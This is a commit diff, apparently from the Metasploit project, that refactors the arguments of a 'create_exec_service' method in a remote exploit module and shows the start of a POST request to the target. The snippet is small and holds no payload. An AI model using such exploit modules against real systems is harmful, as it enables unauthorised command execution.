Poorly designed argument fixed

Poorly designed argument fixed
bug/bundler_fix
Ewerson Guimaraes (Crash) 2015-09-04 19:43:49 +02:00
parent cf8b34191d
commit 5063acac3c
1 changed files with 2 additions and 1 deletions

View File

@ -202,7 +202,8 @@ class Metasploit4 < Msf::Exploit::Remote
# CREATING EXEC Service # CREATING EXEC Service
def create_exec_service(cookie_split, rhost, _uploadpath, _phppath, _phpfile_name, cmd, cmdargs) def create_exec_service(*args)
cookie_split, rhost, _uploadpath, _phppath, _phpfile_name, cmd, cmdargs = *args
res_service = send_request_cgi( res_service = send_request_cgi(
'method' => 'POST', 'method' => 'POST',
'uri' => '/main.php', 'uri' => '/main.php',